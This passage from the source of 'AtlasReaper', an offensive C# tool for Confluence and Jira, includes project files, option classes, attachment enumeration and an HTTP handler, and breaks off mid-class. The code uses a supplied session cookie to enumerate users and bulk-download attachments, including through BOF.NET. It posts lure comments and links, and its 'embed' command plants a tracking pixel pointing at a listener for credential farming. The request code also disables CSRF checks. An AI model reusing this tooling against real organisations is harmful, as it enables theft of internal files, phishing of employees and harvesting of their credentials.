376 | # Fody - auto-generated XML schema
377 | FodyWeavers.xsd
378 |
379 | # VS Code files for those working on multiple tools
380 | .vscode/*
381 | !.vscode/settings.json
382 | !.vscode/tasks.json
383 | !.vscode/launch.json
384 | !.vscode/extensions.json
385 | *.code-workspace
386 |
387 | # Local History for Visual Studio Code
388 | .history/
389 |
390 | # Windows Installer files from build outputs
391 | *.cab
392 | *.msi
393 | *.msix
394 | *.msm
395 | *.msp
396 |
397 | # JetBrains Rider
398 | *.sln.iml
399 |
--------------------------------------------------------------------------------
/AtlasReaper/AtlasReaper.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Debug
7 | AnyCPU
8 | {05C1EA18-581E-48DE-B25D-D7DF8498C463}
9 | Exe
10 | AtlasReaper
11 | AtlasReaper
12 | v4.8
13 | 512
14 | true
15 | true
16 | false
17 | publish\
18 | true
19 | Disk
20 | false
21 | Foreground
22 | 7
23 | Days
24 | false
25 | false
26 | true
27 | 0
28 | 1.0.0.%2a
29 | false
30 | true
31 |
32 |
33 |
34 |
35 |
36 | AnyCPU
37 | true
38 | full
39 | false
40 | bin\Debug\
41 | DEBUG;TRACE
42 | prompt
43 | 4
44 | false
45 |
46 |
47 | AnyCPU
48 | pdbonly
49 | true
50 | bin\Release\
51 | TRACE
52 | prompt
53 | 4
54 | false
55 |
56 |
57 | true
58 | bin\x64\Debug\
59 | DEBUG;TRACE
60 | full
61 | x64
62 | 7.3
63 | prompt
64 | true
65 |
66 |
67 | bin\x64\Release\
68 | TRACE
69 | true
70 | pdbonly
71 | x64
72 | 7.3
73 | prompt
74 | true
75 |
76 |
77 |
78 | ..\packages\BOFNET.1.2.0\lib\net48\BOFNET.dll
79 |
80 |
81 | ..\packages\CommandLineParser.2.9.1\lib\net45\CommandLine.dll
82 |
83 |
84 | ..\packages\Costura.Fody.5.7.0\lib\netstandard1.0\Costura.dll
85 |
86 |
87 | ..\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.dll
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 | ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 | False
144 | Microsoft .NET Framework 4.7.2 %28x86 and x64%29
145 | true
146 |
147 |
148 | False
149 | .NET Framework 3.5 SP1
150 | false
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
161 |
162 |
163 |
164 |
165 |
166 |
167 |
--------------------------------------------------------------------------------
/AtlasReaper/Options/JiraOptions.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using CommandLine;
3 | using AtlasReaper.Utils;
4 |
5 | namespace AtlasReaper.Options
6 | {
7 | class JiraOptions
8 | {
9 |
10 |
11 | [Option('u', "url", Required = true, HelpText = "Jira URL")]
12 | public string Url { get; set; }
13 |
14 | [Option('c', "cookie", Required = false, Default = null, HelpText = "cloud.session.token")]
15 | public string Cookie { get; set; }
16 |
17 | internal string outfile;
18 | [Option('o', "output", Required = false, Default = null, HelpText = "Save output to file")]
19 | public string Outfile
20 | {
21 | get { return outfile; }
22 | set
23 | {
24 | if (value != null)
25 | {
26 | try
27 | {
28 | value = FileUtils.GetFileName(value);
29 | }
30 | catch (Exception ex)
31 | {
32 | throw new Exception(ex.Message);
33 | }
34 | }
35 |
36 | outfile = value;
37 | }
38 | }
39 |
40 | [Verb("addcomment", HelpText = "Add a comment to an issue")]
41 | internal class AddCommentOptions : JiraOptions
42 | {
43 | [Option("at", Required = false, HelpText = "User id to @ on the comment (get user id from the jira listusers command)")]
44 | public string At { get; set; }
45 |
46 | [Option('l', "link", Required = true, HelpText = "Url to link to")]
47 | public string Link { get; set; }
48 |
49 | [Option('m', "message", Required = false, HelpText = "Message to add to the issue comment (i.e. I need you to take a look at this)")]
50 | public string Message { get; set; }
51 |
52 | [Option('i', "issue", Required = true, HelpText = "Issue name")]
53 | public string Issue { get; set; }
54 |
55 | [Option('t', "text", Required = false, Default = "Here", HelpText = "Link text to display")]
56 | public string Text { get; set; }
57 | }
58 |
59 | [Verb("attach", HelpText = "Attach a file to an issue")]
60 | internal class AttachOptions : JiraOptions
61 | {
62 | [Option('a', "attachment", Required = false, HelpText = "Attachment Id to attach to page (if attachment is already created)")]
63 | public string AttachmentId { get; set; }
64 |
65 | [Option("comment", Required = false, Default = "untitled", HelpText = "Comment for uploaded file")]
66 | public string Comment { get; set; }
67 |
68 | [Option('f', "file", Required = false, HelpText = "File to attach")]
69 | public string File { get; set; }
70 |
71 | [Option('i', "issue", Required = false, HelpText = "Issue to add attachment")]
72 | public string Issue { get; set; }
73 |
74 | [Option('n', "name", Required = false, HelpText = "Name of file attachment. (Defaults to filename passed with -f/--file")]
75 | public string Name { get; set; }
76 |
77 | [Option('t', "text", Required = false, HelpText = "Text to add to page to provide context (e.g \"I uploaded this file, please take a look\")")]
78 | public string Text { get; set; }
79 | }
80 |
81 | [Verb("createissue", HelpText = "Create an issue")]
82 | internal class CreateIssueOptions : JiraOptions
83 | {
84 | [Option("at", Required = false, HelpText = "User id to @ on the comment (get user id from the jira listusers command)")]
85 | public string At { get; set; }
86 |
87 | [Option('i', "issue-type", Required = true, HelpText = "Issue type to create")]
88 | public string IssueType { get; set; }
89 |
90 | [Option('l', "link", Required = false, HelpText = "Url to link to")]
91 | public string Link { get; set; }
92 |
93 | [Option('m', "message", Required = false, HelpText = "Message to add to the issue (i.e. I need you to take a look at this)")]
94 | public string Message { get; set; }
95 |
96 | [Option('p', "project", Required = true, HelpText = "Project to create issue for")]
97 | public string Project { get; set; }
98 |
99 | [Option('s', "summary", Required = false, Default = "Looking for Solutions", HelpText = "Issue summary (title)")]
100 | public string Summary { get; set; }
101 |
102 | [Option('t', "text", Required = false, Default = "Here", HelpText = "Link text to display")]
103 | public string Text { get; set; }
104 | }
105 |
106 | [Verb("download", HelpText = "Download attachment(s)")]
107 | internal class DownloadOptions : JiraOptions
108 | {
109 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download (no spaces)")]
110 | public string Attachments { get; set; }
111 |
112 | [Option('o', "output-dir", Required = false, HelpText = "Directory to save downloads to")]
113 | public string OutputDir { get; set; }
114 | }
115 |
116 | [Verb("downloadBOFNET", HelpText = "Download attachment(s) through BOF.NET")]
117 | internal class DownloadBOFNETOptions : JiraOptions
118 | {
119 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download through BOF.NET (no spaces)")]
120 | public string Attachments { get; set; }
121 | }
122 |
123 | [Verb("search", HelpText = "Search issues")]
124 | internal class SearchIssuesOptions : JiraOptions
125 | {
126 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")]
127 | public bool All { get; set; }
128 |
129 | [Option("attachments", Required = false, Default = false, HelpText = "Include attachments")]
130 | public bool Attachments { get; set; }
131 |
132 | [Option("comments", Required = false, Default = false, HelpText = "Include Comments")]
133 | public bool Comments { get; set; }
134 |
135 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number of results to return")]
136 | public string Limit { get; set; }
137 |
138 | [Option('q', "query", Required = true, HelpText = "String or phrase to query")]
139 | public string Query { get; set; }
140 | }
141 |
142 | //Listattachments command options
143 | [Verb("listattachments", HelpText = "List Attachments")]
144 | internal class ListAttachmentsOptions : ConfluenceOptions
145 | {
146 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all attachments for supplied project id")]
147 | public bool All { get; set; }
148 |
149 | [Option("all-projects", Required = false, Default = false, HelpText = "Return attachments for all projects. WARNING!! This can make a lot of requests!")]
150 | public bool AllProjects { get; set; }
151 |
152 | [Option('i', "include", Required = false, HelpText = "Comma-separated list of extensions to include (e.g. png,jpeg)")]
153 | public string Include { get; set; }
154 |
155 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number or attachments to return")]
156 | public string Limit { get; set; }
157 |
158 | [Option('p', "project", Required = false, HelpText = "Project to return attachments for")]
159 | public string Project { get; set; }
160 |
161 | [Option('x', "exclude", Required = false, HelpText = "Comma-separated list of extensions to exclude (e.g. png,jpeg)")]
162 | public string Exclude { get; set; }
163 | }
164 |
165 | [Verb("listissues", HelpText = "List Issues")]
166 | internal class ListIssuesOptions : JiraOptions
167 | {
168 |
169 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")]
170 | public bool All { get; set; }
171 |
172 | [Option("attachments", Required = false, Default = false, HelpText = "Include attachments")]
173 | public bool Attachments { get; set; }
174 |
175 | [Option("comments", Required = false, Default = false, HelpText = "Include Comments")]
176 | public bool Comments { get; set; }
177 |
178 | [Option('i', "issue", Required = false, HelpText = "Issue to list")]
179 | public string Issue { get; set; }
180 |
181 | [Option('p', "project", Required = false, HelpText = "Project Key or Id to list issues from")]
182 | public string Project { get; set; }
183 |
184 | [Option('l', "limit", Required = false, Default = "100", HelpText = "Number of results to return")]
185 | public string Limit { get; set; }
186 |
187 | }
188 |
189 | [Verb("listprojects", HelpText = "List Jira Projects")]
190 | internal class ListProjectsOptions : JiraOptions
191 | {
192 |
193 | [Option('a', "all", Required = false, Default = false, HelpText = "Return all matches")]
194 | public bool All { get; set; }
195 |
196 | // Projects API only returns 50 for some reason
197 | [Option('l', "limit", Required = false, Default = "50", HelpText = "Number of results to return")]
198 | public string Limit { get; set; }
199 |
200 | internal string sortBy;
201 |
202 | [Option('s', "sortby", Required = false, Default = "issues", HelpText = "Sort By \"issues\" for total number of issues or \"updated\" for most recently updated issues")]
203 | public string SortBy
204 | {
205 | get => sortBy;
206 | set
207 | {
208 | if (value != "issues" && value != "updated")
209 | {
210 | throw new Exception("Invalid sort option. Use \"issues\" or \"updated\"");
211 | }
212 | sortBy = value;
213 | }
214 | }
215 | }
216 |
217 | [Verb("listusers", HelpText = "List Atlassian users")]
218 | internal class ListUsersOptions : JiraOptions
219 | {
220 | [Option('f', "full", Required = false, Default = false, HelpText = "Return display name and email")]
221 | public bool Full { get; set; }
222 | }
223 |
224 |
225 | }
226 | }
227 |
--------------------------------------------------------------------------------
/AtlasReaper/Jira/Attachments.cs:
--------------------------------------------------------------------------------
1 | using AtlasReaper.Options;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.IO;
5 | using System.Linq;
6 |
7 | namespace AtlasReaper.Jira
8 | {
9 | internal class Attachments
10 | {
11 |
12 | // GET /rest/api/3/search?jql=attachments+IS+NOT+EMPTY&fields=attachment
13 |
14 | // GET "/rest/api/3/search?jql=project+=+" + options.ProjectId + "AND+attachments+IS+NOT+EMPTY&fields=attachment"
15 | internal void ListAttachments(JiraOptions.ListAttachmentsOptions options)
16 | {
17 | try
18 | {
19 | List issues = new List();
20 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
21 | // Building the url
22 | string restUrl = "/rest/api/3/search?jql=";
23 | string url = options.Url + restUrl;
24 |
25 | // GET all projects
26 | if (options.AllProjects)
27 | {
28 | url += "attachments+IS+NOT+EMPTY&fields=attachment,summary,status";
29 |
30 | // GET all issues for all projects
31 | if (options.All)
32 | {
33 | url += "&maxResults=" + "100";
34 | int startAt = 0;
35 | RootIssuesObject issuesList = GetIssues(url, options);
36 |
37 | issues.AddRange(issuesList.Issues);
38 |
39 | while (issues.Count < issuesList.Total)
40 | {
41 | startAt += 100;
42 | string nextUrl = url + "&startAt=" + startAt.ToString();
43 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options);
44 | issues.AddRange(issuesListNext.Issues);
45 | }
46 | }
47 | // GET issues for all projects by limit
48 | else if (options.Limit != null)
49 | {
50 | url += "&maxResult=" + options.Limit;
51 |
52 | RootIssuesObject issuesList = GetIssues(url, options);
53 |
54 | issues.AddRange(issuesList.Issues);
55 | }
56 | }
57 | // GET issues with attachments for specfic project
58 | else if (options.Project != null)
59 | {
60 | url += "Project+=+" + options.Project + "+AND+attachments+IS+NOT+EMPTY&fields=attachment,summary,status";
61 |
62 | // GET all issues with attachments for specific project
63 | if (options.All)
64 | {
65 | url += "&maxResults=" + "100";
66 | int startAt = 0;
67 | RootIssuesObject issuesList = GetIssues(url, options);
68 |
69 | issues.AddRange(issuesList.Issues);
70 |
71 | while (issues.Count < issuesList.Total)
72 | {
73 | startAt += 100;
74 | string nextUrl = url + "&startAt=" + startAt.ToString();
75 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options);
76 | issues.AddRange(issuesListNext.Issues);
77 | }
78 | }
79 |
80 | // GET issues with attachmetns for a specific project by limit
81 | else if (options.Limit != null)
82 | {
83 | url += "&maxResult=" + options.Limit;
84 |
85 | RootIssuesObject issuesList = GetIssues(url, options);
86 |
87 | issues.AddRange(issuesList.Issues);
88 | }
89 | }
90 | // Implies all issues with attachments in all projects
91 | else if (options.All)
92 | {
93 | url += "attachments+IS+NOT+EMPTY&fields=attachment,summary,status";
94 |
95 | // GET all issues for all projects
96 | if (options.All)
97 | {
98 | url += "&maxResults=" + "100";
99 | int startAt = 0;
100 | RootIssuesObject issuesList = GetIssues(url, options);
101 |
102 | issues.AddRange(issuesList.Issues);
103 |
104 | while (issues.Count < issuesList.Total)
105 | {
106 | startAt += 100;
107 | string nextUrl = url + "&startAt=" + startAt.ToString();
108 | RootIssuesObject issuesListNext = GetIssues(nextUrl, options);
109 | issues.AddRange(issuesListNext.Issues);
110 | }
111 | }
112 | }
113 |
114 | issues = FilterAttachments(issues, options);
115 | if (options.outfile != null)
116 | {
117 | using (StreamWriter writer = new StreamWriter(options.outfile))
118 | {
119 | PrintIssues(issues, writer);
120 | }
121 | }
122 | else
123 | {
124 | PrintIssues(issues, Console.Out);
125 | }
126 | }
127 | catch (Exception ex)
128 | {
129 | Console.WriteLine("Error occurred while listing attachments: " + ex.Message);
130 | }
131 |
132 | }
133 |
134 | private List FilterAttachments(List issues, JiraOptions.ListAttachmentsOptions options)
135 | {
136 | try
137 | {
138 | // Exclude
139 | if (options.Exclude != null)
140 | {
141 | List excludeList = options.Exclude.Split(',').ToList();
142 |
143 | foreach (Issue issue in issues)
144 | {
145 | List attachmentsToRemove = new List();
146 |
147 | foreach (Attachment attachment in issue.Fields.Attachments)
148 | {
149 | string extension = Path.GetExtension(attachment.FileName).TrimStart('.');
150 |
151 | if (excludeList.Contains(extension))
152 | {
153 | attachmentsToRemove.Add(attachment);
154 | }
155 | }
156 |
157 | foreach (Attachment attachment in attachmentsToRemove)
158 | {
159 | issue.Fields.Attachments.Remove(attachment);
160 | }
161 | }
162 | }
163 |
164 | // Include
165 | if (options.Include != null)
166 | {
167 | List includeList = options.Include.Split(',').ToList();
168 |
169 | foreach (Issue issue in issues)
170 | {
171 | // Create a separate list to store the attachments we want to remove
172 | List attachmentsToRemove = new List();
173 |
174 | foreach (Attachment attachment in issue.Fields.Attachments)
175 | {
176 | string extension = Path.GetExtension(attachment.FileName).TrimStart('.');
177 |
178 | if (!includeList.Contains(extension))
179 | {
180 | attachmentsToRemove.Add(attachment);
181 | }
182 | }
183 |
184 | // Remove the attachments not in include list
185 | foreach (Attachment attachment in attachmentsToRemove)
186 | {
187 | issue.Fields.Attachments.Remove(attachment);
188 | }
189 | }
190 | }
191 | // Remove any issues with no attachments after filtering
192 | issues = issues.Where(issue => issue.Fields.Attachments.Any()).ToList();
193 | return issues;
194 | }
195 | catch (Exception ex)
196 | {
197 | Console.WriteLine("An error occurred while filtering attachments: " + ex.Message);
198 | return issues;
199 | }
200 | }
201 |
202 |
203 | private RootIssuesObject GetIssues(string url, JiraOptions.ListAttachmentsOptions options)
204 | {
205 | try
206 | {
207 | Utils.WebRequestHandler webRequestHandler = new Utils.WebRequestHandler();
208 |
209 | RootIssuesObject issuesList = webRequestHandler.GetJson(url, options.Cookie);
210 |
211 | return issuesList;
212 | }
213 | catch (Exception ex)
214 | {
215 | Console.WriteLine("Error occurred while getting issues: " + ex.Message);
216 | return null;
217 | }
218 | }
219 |
220 | private void PrintIssues(List issues, TextWriter writer)
221 | {
222 | try
223 | {
224 | for (int i = 0; i < issues.Count; i++)
225 | {
226 | Issue issue = issues[i];
227 | List attachments = issue.Fields.Attachments;
228 |
229 | writer.WriteLine(" Issue Title : " + issue.Fields.Title);
230 | writer.WriteLine(" Issue Key : " + issue.Key);
231 | writer.WriteLine(" Issue Id : " + issue.Id);
232 | writer.WriteLine(" Status : " + issue.Fields.Status.Name);
233 | if (attachments.Count > 0)
234 | {
235 | writer.WriteLine(" Attachments : ");
236 | writer.WriteLine();
237 | for (int j = 0; j < attachments.Count; j++)
238 | {
239 | Attachment attachment = attachments[j];
240 | writer.WriteLine(" Filename : " + attachment.FileName);
241 | writer.WriteLine(" Attachment Id : " + attachment.Id);
242 | writer.WriteLine(" Mimetype : " + attachment.mimeType);
243 | writer.WriteLine(" File size : " + attachment.Size);
244 | writer.WriteLine();
245 | }
246 | }
247 | }
248 | }
249 | catch (Exception ex)
250 | {
251 | Console.WriteLine("Error occurred while printing issues: " + ex.Message);
252 | }
253 | }
254 | }
255 | }
256 |
--------------------------------------------------------------------------------
/AtlasReaper/Utils/WebRequestHandler.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using System;
3 | using System.IO;
4 | using System.Net;
5 | using System.Net.Http;
6 | using System.Reflection;
7 | using System.Text;
8 |
9 | namespace AtlasReaper.Utils
10 | {
11 | public class WebRequestHandler
12 | {
13 | public T GetJson(string url, string cookie)
14 | {
15 | try
16 | {
17 | if (cookie != null)
18 | {
19 | Uri baseAddress = new Uri(url);
20 | CookieContainer cookieContainer = new CookieContainer();
21 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer })
22 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress })
23 | {
24 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
25 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie));
26 | HttpResponseMessage httpResponse = client.GetAsync(url).Result;
27 | string result = httpResponse.Content.ReadAsStringAsync().Result;
28 | T deserializedObject = JsonConvert.DeserializeObject(result);
29 | return deserializedObject;
30 | }
31 | }
32 | else
33 | {
34 | using (HttpClient client = new HttpClient())
35 | {
36 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
37 | HttpResponseMessage httpResponse = client.GetAsync(url).Result;
38 | string result = httpResponse.Content.ReadAsStringAsync().Result;
39 | T deserializedObject = JsonConvert.DeserializeObject(result);
40 | return deserializedObject;
41 | }
42 | }
43 | }
44 | catch (Exception ex)
45 | {
46 | Console.WriteLine("Error occured in Utils.WebRequestHandler.GetJson method: " + ex.Message);
47 | Console.WriteLine(ex.StackTrace);
48 | if (ex.InnerException != null)
49 | {
50 | Console.WriteLine(ex.InnerException.Message);
51 | }
52 | return default;
53 | }
54 | }
55 |
56 | public T PostJson(string url, string cookie, string serializedData)
57 | {
58 | try
59 | {
60 | Uri baseAddress = new Uri(url);
61 | CookieContainer cookieContainer = new CookieContainer();
62 |
63 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer })
64 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress })
65 | {
66 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
67 | if (cookie != null)
68 | {
69 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie));
70 | }
71 |
72 | HttpContent content = new StringContent(serializedData, Encoding.UTF8, "application/json");
73 | HttpResponseMessage httpResponse = client.PostAsync(url, content).Result;
74 |
75 | string result = httpResponse.Content.ReadAsStringAsync().Result;
76 | T deserializedObject = JsonConvert.DeserializeObject(result);
77 | return deserializedObject;
78 | }
79 | }
80 | catch (Exception ex)
81 | {
82 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.PostJson method: " + ex.Message);
83 | return default;
84 |
85 | }
86 | }
87 |
88 | public T PutJson(string url, string cookie, string serializedData)
89 | {
90 | try
91 | {
92 |
93 | Uri baseAddress = new Uri(url);
94 | CookieContainer cookieContainer = new CookieContainer();
95 |
96 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer })
97 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress })
98 | {
99 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
100 | if (cookie != null)
101 | {
102 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie));
103 | }
104 |
105 | HttpContent content = new StringContent(serializedData, Encoding.UTF8, "application/json");
106 | HttpResponseMessage httpResponse = client.PutAsync(url, content).Result;
107 |
108 | string result = httpResponse.Content.ReadAsStringAsync().Result;
109 | T deserializedObject = JsonConvert.DeserializeObject(result);
110 | return deserializedObject;
111 | }
112 | }
113 | catch (Exception ex)
114 | {
115 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.PutJson method: " + ex.Message);
116 | return default;
117 | }
118 | }
119 |
120 | public T PostForm(string url, string cookie, object formData, string fileName)
121 | {
122 | try
123 | {
124 | Uri baseAddress = new Uri(url);
125 | CookieContainer cookieContainer = new CookieContainer();
126 |
127 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer })
128 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress })
129 | {
130 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
131 | if (cookie != null)
132 | {
133 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie));
134 | }
135 |
136 | // LOL tell confluence to NOT require a CSRF token
137 | client.DefaultRequestHeaders.Add("X-Atlassian-Token", "nocheck");
138 |
139 | MultipartFormDataContent formContent = new MultipartFormDataContent();
140 |
141 | PropertyInfo[] properties = formData.GetType().GetProperties();
142 | foreach (PropertyInfo property in properties)
143 | {
144 | object value = property.GetValue(formData);
145 | if (value is string stringValue)
146 | {
147 | var stringContent = new StringContent(stringValue);
148 | formContent.Add(stringContent, property.Name);
149 | }
150 | else if (value is byte[] byteArrayValue)
151 | {
152 | var fileContent = new ByteArrayContent(byteArrayValue);
153 | formContent.Add(fileContent, property.Name, fileName);
154 | }
155 | else
156 | {
157 | throw new ArgumentException($"Unsupported form field type: {property.PropertyType}");
158 | }
159 | }
160 |
161 | HttpResponseMessage httpResponse = client.PostAsync(url, formContent).Result;
162 |
163 | string result = httpResponse.Content.ReadAsStringAsync().Result;
164 | T deserializedObject = JsonConvert.DeserializeObject(result);
165 | return deserializedObject;
166 | }
167 | }
168 | catch (Exception ex)
169 | {
170 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.PostForm method: " + ex.Message);
171 | return default;
172 | }
173 | }
174 |
175 | public void DownloadFile(string url, string cookie, string outputFilePath)
176 | {
177 | try
178 | {
179 | if (cookie != null)
180 | {
181 | Uri baseAddress = new Uri(url);
182 | CookieContainer cookieContainer = new CookieContainer();
183 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer })
184 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress })
185 | {
186 | System.Net.ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
187 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie));
188 | HttpResponseMessage httpResponse = client.GetAsync(url).Result;
189 | string redirectUrl = httpResponse.RequestMessage.RequestUri.ToString();
190 |
191 | using (Stream contentStream = httpResponse.Content.ReadAsStreamAsync().Result)
192 | using (FileStream fileStream = new FileStream(outputFilePath, FileMode.Create, FileAccess.Write))
193 | {
194 | contentStream.CopyToAsync(fileStream).Wait();
195 | }
196 | }
197 | }
198 | }
199 | catch (Exception ex)
200 | {
201 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.DownloadFile method: " + ex.Message);
202 | }
203 |
204 | }
205 |
206 | public MemoryStream GetFileInMemory(string url, string cookie)
207 | {
208 | try
209 | {
210 | Uri baseAddress = new Uri(url);
211 | CookieContainer cookieContainer = new CookieContainer();
212 | using (HttpClientHandler handler = new HttpClientHandler() { CookieContainer = cookieContainer })
213 | using (HttpClient client = new HttpClient(handler) { BaseAddress = baseAddress })
214 | {
215 | ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
216 | cookieContainer.Add(baseAddress, new Cookie("cloud.session.token", cookie));
217 | HttpResponseMessage httpResponse = client.GetAsync(url).Result;
218 | string redirectUrl = httpResponse.RequestMessage.RequestUri.ToString();
219 |
220 | using (Stream contentStream = httpResponse.Content.ReadAsStreamAsync().Result)
221 | {
222 | MemoryStream memoryStream = new MemoryStream();
223 | contentStream.CopyToAsync(memoryStream).Wait();
224 | memoryStream.Position = 0;
225 | return memoryStream;
226 | }
227 | }
228 | }
229 | catch (Exception ex)
230 | {
231 | Console.WriteLine("Error occurred in Utils.WebRequestHandler.GetFileInMemory method: " + ex.Message);
232 | }
233 | return null;
234 | }
235 | }
236 | }
237 |
--------------------------------------------------------------------------------
/AtlasReaper/Options/ConfluenceOptions.cs:
--------------------------------------------------------------------------------
1 | using CommandLine;
2 | using AtlasReaper.Utils;
3 | using System;
4 | using System.IO;
5 |
6 | namespace AtlasReaper.Options
7 | {
8 | internal class ConfluenceOptions
9 | {
10 |
11 | private string _status;
12 |
13 | // Shared options for Confluence commands
14 |
15 | [Option('u', "url", Required = true, HelpText = "Confluence URL")]
16 | public string Url { get; set; }
17 |
18 | [Option('c', "cookie", Required = false, Default = null, HelpText = "cloud.session.token")]
19 | public string Cookie { get; set; }
20 |
21 | internal string outfile;
22 | [Option('o', "output", Required = false, Default = null, HelpText = "Save output to file")]
23 | public string Outfile
24 | {
25 | get { return outfile; }
26 | set
27 | {
28 | if (value != null)
29 | {
30 | string fullPath;
31 |
32 | if (Path.IsPathRooted(value))
33 | {
34 | fullPath = Path.GetFullPath(value);
35 | }
36 | else
37 | {
38 | string currentDirectory = Environment.CurrentDirectory;
39 | fullPath = Path.Combine(currentDirectory, value);
40 | Console.WriteLine(fullPath);
41 | }
42 | string directory = Path.GetDirectoryName(fullPath);
43 | string fileName = Path.GetFileName(fullPath);
44 | try
45 | {
46 | if (File.Exists(fullPath))
47 | {
48 | Console.WriteLine("File already exists. Please choose a different file name.");
49 | return;
50 | }
51 |
52 | if (!Directory.Exists(directory))
53 | {
54 | Console.WriteLine("Invalid directory. Please specify a valid directory.");
55 | return;
56 | }
57 |
58 | if (!FileUtils.CanWriteToDirectory(directory))
59 | {
60 | Console.WriteLine("Unable to write to the specified directory. Please choose a different location.");
61 | return;
62 | }
63 | }
64 | catch (Exception ex)
65 | {
66 | Console.WriteLine(ex.Message);
67 | }
68 |
69 | }
70 |
71 | outfile = value;
72 | }
73 | }
74 |
75 | // Attach a file
76 | [Verb("attach", HelpText = "Attach a file to a page")]
77 | internal class AttachOptions : ConfluenceOptions
78 | {
79 | [Option('a', "attachment", Required = false, HelpText = "Attachment Id to attach to page (if attachment is already created)")]
80 | public string AttachmentId { get; set; }
81 |
82 | [Option("at", Required = false, HelpText = "User id to @ on the page (get user id from the jira listusers command)")]
83 | public string At { get; set; }
84 |
85 | [Option("comment", Required = false, Default = "untitled", HelpText = "Comment for uploaded file")]
86 | public string Comment { get; set; }
87 |
88 | [Option('f', "file", Required = false, HelpText = "File to attach")]
89 | public string File { get; set; }
90 |
91 | [Option('n', "name", Required = false, HelpText = "Name of file attachment. (Defaults to filename passed with -f/--file")]
92 | public string Name { get; set; }
93 |
94 | [Option('p', "page", Required = true, HelpText = "Page to attach")]
95 | public string Page { get; set; }
96 |
97 | [Option('t', "text", Required = false, HelpText = "Text to add to page to provide context (e.g \"I uploaded this file, please take a look\")")]
98 | public string Text { get; set; }
99 | }
100 |
101 | // Embed command options
102 | [Verb("embed", HelpText = "Embed a 1x1 pixel image to perform farming attacks")]
103 | internal class EmbedOptions : ConfluenceOptions
104 | {
105 | [Option("at", Required = false, HelpText = "User id to @ on the page (get user id from the jira listusers command)")]
106 | public string At { get; set; }
107 |
108 | [Option('l', "link", Required = true, HelpText = "Url to listener")]
109 | public string Link { get; set; }
110 |
111 | [Option('m', "message", Required = false, HelpText = "Messgage to add to the page (i.e. I need you to take a look at this)")]
112 | public string Message { get; set; }
113 |
114 | [Option('p', "page", Required = true, HelpText = "Page to embed")]
115 | public string Page { get; set; }
116 | }
117 |
118 | // Download command options
119 | [Verb("download", HelpText = "Download Attachment")]
120 | internal class DownloadOptions : ConfluenceOptions
121 | {
122 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download (no spaces)")]
123 | public string Attachments { get; set; }
124 |
125 | [Option('o', "output-dir", Required = false, HelpText = "Directory to save the downloaded attachments")]
126 | public string OutputDir { get; set; }
127 | }
128 |
129 | // Download command options
130 | [Verb("downloadBOFNET", HelpText = "Download attachment(s) through BOF.NET")]
131 | internal class DownloadBOFNETOptions : ConfluenceOptions
132 | {
133 | [Option('a', "attachments", Required = true, HelpText = "Comma-separated attachment ids to download through BOF.NET (no spaces)")]
134 | public string Attachments { get; set; }
135 | }
136 |
137 | // Embed command options
138 | [Verb("link", HelpText = "Add link to page")]
139 | internal class LinkOptions : ConfluenceOptions
140 | {
